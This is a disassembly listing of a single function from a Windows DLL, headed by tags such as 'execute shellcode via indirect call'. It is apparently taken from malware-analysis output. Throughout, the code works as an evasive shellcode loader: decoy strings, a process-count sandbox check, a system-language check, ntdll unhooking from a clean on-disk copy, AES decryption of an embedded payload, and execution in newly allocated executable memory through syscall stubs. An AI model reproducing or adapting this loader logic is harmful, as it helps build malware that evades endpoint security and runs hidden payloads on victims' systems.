Function at 0x180001920
Capabilities:
Allocate or change rwx memory
Create new key via cryptacquirecontext
Encrypt data using aes via winapi
Encrypt or decrypt via wincrypt
Enumerate processes
Execute shellcode via indirect call
Hash data via wincrypt
Identify system language via api
Initialize hashing via wincrypt
Read file via mapping
Terminate process

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
mov eax, 0x4b938
call fcn.18000b610
sub rsp, rax
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x4b8b0], 0xfffffffffffffffe
call sub.MSVCP140.dll__Query_perf_frequency
mov rsi, rax
call sub.MSVCP140.dll__Query_perf_counter
mov rcx, rax
cmp rsi, 0x989680
jne 0x180002282
imul rdx, rcx, 0x64
mov eax, 0xee6b2800
add rax, rdx
movabs rcx, 0x7fffffff1194d7ff
cmp rdx, rcx
movabs rcx, 0x7fffffffffffffff
cmovge rax, rcx
mov qword [rbp - 0x20], rax
lea rcx, [rbp - 0x20]
call fcn.180001740
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov rax, qword [rbx]
movsxd rcx, dword [rax + 4]
mov rdx, qword [rbx + rcx + 0x28]
mov rax, qword [rbx + rcx + 0x48]
lea rdi, [rdx - 0x15]
xor esi, esi
cmp rdx, 0x16
cmovge rsi, rdi
test rax, rax
je 0x1800019d8
mov rdx, qword [rax]
mov rcx, rax
call qword [rdx + 8]
mov rax, qword [rbx]
movsxd rcx, dword [rax + 4]
add rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::good_void_const___ptr64]
test al, al
je 0x180001b08
mov rax, qword [rbx]
movsxd rax, dword [rax + 4]
mov rcx, qword [rbx + rax + 0x50]
test rcx, rcx
je 0x180001a44
cmp rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
je 0x180001a44
mov dword [rbp + 0x4b8a8], 4
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::flush_void____ptr64]
mov rdx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov rax, qword [rdx]
movsxd rcx, dword [rax + 4]
add rcx, rdx
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::good_void_const___ptr64]
test al, al
je 0x180001b35
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov rax, qword [rbx]
movsxd rax, dword [rax + 4]
mov ecx, 0x1c0
and ecx, dword [rbx + rax + 0x18]
cmp ecx, 0x40
je 0x180001a99
test rsi, rsi
jle 0x180001a99
mov rsi, qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::sputc_char____ptr64]
nop
mov rax, qword [rbx]
movsxd rax, dword [rax + 4]
mov rcx, qword [rbx + rax + 0x48]
movzx edx, byte [rbx + rax + 0x58]
call rsi
cmp eax, 0xffffffff
je 0x180001b14
lea rax, [rdi - 1]
cmp rdi, 1
mov rdi, rax
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
jg 0x180001a60
mov rax, qword [rbx]
movsxd rax, dword [rax + 4]
xor esi, esi
mov rcx, qword [rbx + rax + 0x48]
mov rax, qword [rcx]
lea rdx, str.
mov r8d, 0x15
call qword [rax + 0x48]
cmp rax, 0x15
jne 0x180001b14
test rsi, rsi
mov rdx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
jle 0x180001afc
mov rdi, qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::sputc_char____ptr64]
nop word [rax + rax]
mov rax, qword [rdx]
movsxd rax, dword [rax + 4]
mov rcx, qword [rdx + rax + 0x48]
movzx edx, byte [rdx + rax + 0x58]
call rdi
cmp eax, 0xffffffff
je 0x180001b14
lea rax, [rsi - 1]
cmp rsi, 1
mov rsi, rax
mov rdx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
ja 0x180001ad0
mov dword [rbp + 0x4b8a8], 0
jmp 0x180001b25
mov dword [rbp + 0x4b8a8], 4
jmp 0x180001b35
mov dword [rbp + 0x4b8a8], 4
mov rdx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov rax, qword [rdx]
movsxd rax, dword [rax + 4]
mov qword [rdx + rax + 0x28], 0
mov r8, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov rax, qword [r8]
movsxd rax, dword [rax + 4]
lea rcx, [r8 + rax]
mov edx, dword [rbp + 0x4b8a8]
or edx, dword [r8 + rax + 0x10]
xor r8d, r8d
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::clear_int__bool____ptr64]
call sub.MSVCP140.dll_bool___cdecl_std::uncaught_exception_void_
test al, al
jne 0x180001b71
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::_Osfx_void____ptr64]
mov rsi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov rax, qword [rsi]
movsxd rcx, dword [rax + 4]
mov rax, qword [rsi + rcx + 0x48]
test rax, rax
je 0x180001b99
mov rdx, qword [rax]
mov rcx, rax
call qword [rdx + 0x10]
mov rax, qword [rsi]
movsxd rcx, dword [rax + 4]
add rcx, rsi
mov dl, 0xa
call qword [sym.imp.MSVCP140.dll_public:_char___cdecl_std::basic_ios_char__struct_std::char_traits_char__::widen_char_const___ptr64]
mov rcx, rsi
mov edx, eax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::put_char____ptr64]
mov rcx, rsi
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::flush_void____ptr64]
mov ecx, 0x30
call fcn.18000a8b0
movups xmm0, xmmword [str.https:__www.example.com_search_q]
movups xmmword [rax], xmm0
movups xmm0, xmmword [0x18005b38c]
movups xmmword [rax + 0x10], xmm0
mov qword [rbp + 0x4b840], rax
mov word [rax + 0x20], 0x3d
mov ecx, 0x30
call fcn.18000a8b0
movups xmm0, xmmword [0x18005b36b]
movups xmmword [rax + 0x19], xmm0
movups xmm0, xmmword [0x18005b362]
movups xmmword [rax + 0x10], xmm0
movups xmm0, xmmword [str.https:__www.example.com_api_search_query]
movups xmmword [rax], xmm0
mov qword [rbp + 0x4b848], rax
mov byte [rax + 0x29], 0
mov ecx, 0x30
call fcn.18000a8b0
movups xmm0, xmmword [0x18005a9a3]
movups xmmword [rax + 0x19], xmm0
movups xmm0, xmmword [0x18005a99a]
movups xmmword [rax + 0x10], xmm0
movups xmm0, xmmword [str.C:_Users_yourname_Documents_otherfile.txt]
movups xmmword [rax], xmm0
mov qword [rbp + 0x4b850], rax
mov byte [rax + 0x29], 0
mov ecx, 0x30
call fcn.18000a8b0
movups xmm0, xmmword [0x18005a973]
movups xmmword [rax + 0x10], xmm0
movups xmm0, xmmword [str._home_yourname_documents_otherfile.txt]
movups xmmword [rax], xmm0
movabs rcx, 0x7478742e656c6966
mov qword [rax + 0x1e], rcx
mov qword [rbp + 0x4b858], rax
mov byte [rax + 0x26], 0
mov ecx, 0x30
call fcn.18000a8b0
movups xmm0, xmmword [0x18005a7e8]
movups xmmword [rax + 0x1e], xmm0
movups xmm0, xmmword [0x18005a7da]
movups xmmword [rax + 0x10], xmm0
movups xmm0, xmmword [str._name_:_Alice___age_:25__city_:_Los_Angeles_]
movups xmmword [rax], xmm0
mov qword [rbp + 0x4b860], rax
mov byte [rax + 0x2e], 0
mov ecx, 0x40
call fcn.18000a8b0
mov r14, rax
movups xmm0, xmmword [0x18005a827]
movups xmmword [rax + 0x2e], xmm0
movups xmm0, xmmword [0x18005a819]
movups xmmword [rax + 0x20], xmm0
movups xmm0, xmmword [0x18005a809]
movups xmmword [rax + 0x10], xmm0
movups xmm0, xmmword [str._product_:_Samsung_Galaxy_S22___price_:1299__currency_:_USD_]
movups xmmword [rax], xmm0
mov byte [rax + 0x3e], 0
mov qword [rbp - 0x20], 0
lea rcx, str.D:P_D_OICI_GA___WD__A_OICI_GA___SY__A_OICI_GA___OW_
lea r8, [rbp - 0x20]
mov edx, 1
xor r9d, r9d
call sub.ADVAPI32.dll_ConvertStringSecurityDescriptorToSecurityDescriptorW
test eax, eax
je 0x180001d44
mov rsi, qword [rbp - 0x20]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 4
mov r8, rsi
call qword [sym.imp.ADVAPI32.dll_SetKernelObjectSecurity]
test eax, eax
je 0x180001d44
mov rcx, qword [rbp - 0x20]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov ecx, 2
xor edx, edx
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
cmp rax, 0xffffffffffffffff
je 0x180001daa
mov rdi, rax
lea rsi, [rbp - 0x20]
mov r8d, 0x238
mov rcx, rsi
xor edx, edx
call fcn.180002750
mov dword [rbp - 0x20], 0x238
mov rcx, rdi
mov rdx, rsi
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
je 0x180002403
mov ebx, 0xffffffff
nop dword [rax]
mov rcx, rdi
mov rdx, rsi
call sub.KERNEL32.dll_Process32NextW
inc ebx
test eax, eax
jne 0x180001d90
cmp ebx, 0x3c
jb 0x180002403
mov qword [rbp + 0x4b868], r14
call qword [sym.imp.KERNEL32.dll_GetUserDefaultUILanguage]
and eax, 0x3ff
cmp ax, 4
jne 0x18000240e
lea rcx, str.Chinese
call fcn.180001880
call qword [sym.imp.KERNEL32.dll_GetTickCount]
xorps xmm0, xmm0
movaps xmmword [rbp - 0x20], xmm0
mov qword [rbp - 0x10], 0
lea rcx, [0x18005ada3]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea r8, [rbp - 0x20]
mov rcx, 0xffffffffffffffff
mov qword [rbp + 0x4b828], rax
mov rdx, rax
mov r9d, 0x18
call sub.KERNEL32.dll_K32GetModuleInformation
mov rdi, qword [rbp - 0x20]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
lea rcx, str.c:windows_system32_ntdll.dll
mov edx, 0x80000000
mov r8d, 1
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov qword [rbp + 0x4b830], rax
mov rcx, rax
xor edx, edx
mov r8d, 0x1000002
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov qword [rsp + 0x20], 0
mov qword [rbp + 0x4b838], rax
mov rcx, rax
mov edx, 4
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov qword [rbp + 0x4b8a8], rax
movsxd rbx, dword [rdi + 0x3c]
movzx r13d, word [rbx + rdi + 6]
test r13w, r13w
je 0x180001f66
lea r14, [rdi + rbx]
add r14, 0x18
xor r15d, r15d
lea r12, str..text
jmp 0x180001ee4
inc r15
movzx eax, r13w
add r14, 0x28
cmp r15, rax
jae 0x180001f66
movzx esi, word [rdi + rbx + 0x14]
add rsi, r14
mov rcx, rsi
mov rdx, r12
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
test eax, eax
jne 0x180001ed0
mov dword [rbp + 0x4b870], 0
mov edx, dword [rsi + 8]
mov ecx, dword [rsi + 0xc]
add rcx, rdi
mov r8d, 0x40
mov r13, r12
lea r9, [rbp + 0x4b870]
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov r8d, dword [rsi + 8]
mov edx, dword [rsi + 0xc]
lea rcx, [rdx + rdi]
add rdx, qword [rbp + 0x4b8a8]
call fcn.180002820
mov r8d, dword [rbp + 0x4b870]
mov edx, dword [rsi + 8]
mov ecx, dword [rsi + 0xc]
add rcx, rdi
lea r9, [rbp + 0x4b870]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
movzx r13d, word [rdi + rbx + 6]
jmp 0x180001ed0
mov rsi, qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x4b830]
call rsi
mov rcx, qword [rbp + 0x4b838]
call rsi
mov rcx, qword [rbp + 0x4b828]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
call sub.MSVCP140.dll__Query_perf_frequency
mov rdi, rax
call sub.MSVCP140.dll__Query_perf_counter
mov rcx, rax
cmp rdi, 0x989680
jne 0x1800022ea
imul rax, rcx, 0x64
movabs r8, 0x7fffffffffffffff
mov rbx, qword [rbp + 0x4b868]
movabs rcx, 0x12a05f200
add rcx, rax
movabs rdx, 0x7ffffffed5fa0dff
cmp rax, rdx
cmovl r8, rcx
mov qword [rbp - 0x20], r8
lea rcx, [rbp - 0x20]
call fcn.180001740
movaps xmm0, xmmword [0x18000e170]
movaps xmmword [rbp + 0x4b870], xmm0
lea rdx, [0x18000e180]
lea rdi, [rbp - 0x20]
mov r8d, 0x4b840
mov rcx, rdi
call fcn.180002820
mov dword [rbp + 0x4b89c], 0x4b840
mov dword [rsp + 0x20], 0xf0000000
lea rcx, [rbp + 0x4b8a0]
xor edx, edx
xor r8d, r8d
mov r9d, 0x18
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x18000210e
mov rcx, qword [rbp + 0x4b8a0]
lea rax, [rbp + 0x4b890]
mov qword [rsp + 0x20], rax
mov edx, 0x800c
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x18000210e
mov rcx, qword [rbp + 0x4b890]
lea rdx, [rbp + 0x4b870]
mov r8d, 0x10
xor r9d, r9d
call qword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
je 0x18000210e
mov r8, qword [rbp + 0x4b890]
mov rcx, qword [rbp + 0x4b8a0]
lea rax, [rbp + 0x4b888]
mov qword [rsp + 0x20], rax
mov edx, 0x6610
xor r9d, r9d
call qword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
test eax, eax
je 0x18000210e
mov rcx, qword [rbp + 0x4b888]
lea rax, [rbp + 0x4b89c]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdi
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.ADVAPI32.dll_CryptDecrypt]
test eax, eax
je 0x18000210e
mov rcx, qword [rbp + 0x4b8a0]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov rcx, qword [rbp + 0x4b890]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov rcx, qword [rbp + 0x4b888]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
mov qword [rbp + 0x4b8a0], 0
mov qword [rbp + 0x4b890], 0x200000
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0x3000
lea rsi, [rbp + 0x4b8a0]
lea rdi, [rbp + 0x4b890]
mov rcx, 0xffffffffffffffff
mov rdx, rsi
xor r8d, r8d
mov r9, rdi
call fcn.18000a830
mov rcx, qword [rbp + 0x4b8a0]
lea rdx, [rbp - 0x20]
mov r8d, 0x4b840
call sub.VCRUNTIME140.dll_memmove
mov dword [rbp + 0x4b89c], 0
lea rax, [rbp + 0x4b89c]
mov qword [rsp + 0x20], rax
mov rcx, 0xffffffffffffffff
mov rdx, rsi
mov r8, rdi
mov r9d, 0x20
call fcn.18000a7f0
mov qword [rbp + 0x4b888], 0xffffffffffffffff
mov rax, qword [rbp + 0x4b8a0]
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
movups xmmword [rsp + 0x38], xmm0
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
lea rsi, [rbp + 0x4b888]
mov rcx, rsi
mov edx, 0x1fffff
xor r8d, r8d
mov r9, 0xffffffffffffffff
call fcn.18000a7b0
mov qword [rsp + 0x20], 0
mov ecx, 1
mov rdx, rsi
xor r8d, r8d
xor r9d, r9d
call fcn.18000a870
mov edx, 0x40
mov rcx, rbx
call fcn.18000a8f4
mov edx, 0x30
mov rcx, qword [rbp + 0x4b860]
call fcn.18000a8f4
mov edx, 0x30
mov rcx, qword [rbp + 0x4b858]
call fcn.18000a8f4
mov edx, 0x30
mov rcx, qword [rbp + 0x4b850]
call fcn.18000a8f4
mov edx, 0x30
mov rcx, qword [rbp + 0x4b848]
call fcn.18000a8f4
mov edx, 0x30
mov rcx, qword [rbp + 0x4b840]
call fcn.18000a8f4
xor eax, eax
add rsp, 0x4b938
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
cmp rsi, 0x16e3600
jne 0x180002362
movabs r9, 0xb2f4fc0794908cf3
mov rax, rcx
imul r9
mov r8, rdx
add r8, rcx
mov rax, r8
shr rax, 0x3f
sar r8, 0x18
add r8, rax
imul rax, r8, 0x16e3600
sub rcx, rax
imul rcx, rcx, 0x3b9aca00
mov rax, rcx
imul r9
imul rax, r8, 0x3b9aca00
add rdx, rcx
mov rcx, rdx
shr rcx, 0x3f
sar rdx, 0x18
add rdx, rcx
add rdx, rax
jmp 0x18000196d
cmp rdi, 0x16e3600
mov rbx, qword [rbp + 0x4b868]
jne 0x180002378
movabs r9, 0xb2f4fc0794908cf3
mov rax, rcx
imul r9
mov r8, rdx
add r8, rcx
mov rax, r8
shr rax, 0x3f
sar r8, 0x18
add r8, rax
imul rax, r8, 0x16e3600
sub rcx, rax
imul rcx, rcx, 0x3b9aca00
mov rax, rcx
imul r9
mov rax, rdx
imul rdx, r8, 0x3b9aca00
add rax, rcx
mov rcx, rax
shr rcx, 0x3f
sar rax, 0x18
add rax, rcx
add rax, rdx
movabs r8, 0x7fffffffffffffff
jmp 0x180001fbe
mov rax, rcx
or rax, rsi
shr rax, 0x20
je 0x18000238e
mov rax, rcx
cqo
idiv rsi
jmp 0x180002394
mov rax, rcx
or rax, rdi
shr rax, 0x20
je 0x1800023b8
mov rax, rcx
cqo
idiv rdi
jmp 0x1800023be
mov eax, ecx
xor edx, edx
div esi
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
mov rdx, rsi
or rdx, rax
shr rdx, 0x20
je 0x1800023e9
cqo
idiv rsi
mov rdx, rax
jmp 0x1800023ef
mov eax, ecx
xor edx, edx
div edi
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
mov rdx, rdi
or rdx, rax
shr rdx, 0x20
movabs r8, 0x7fffffffffffffff
je 0x1800023f7
cqo
idiv rdi
jmp 0x1800023fb
xor edx, edx
div esi
mov edx, eax
add rdx, rcx
jmp 0x18000196d
xor edx, edx
div edi
add rax, rcx
jmp 0x180001fbe
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
lea rcx, str.Error
call fcn.180001880
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3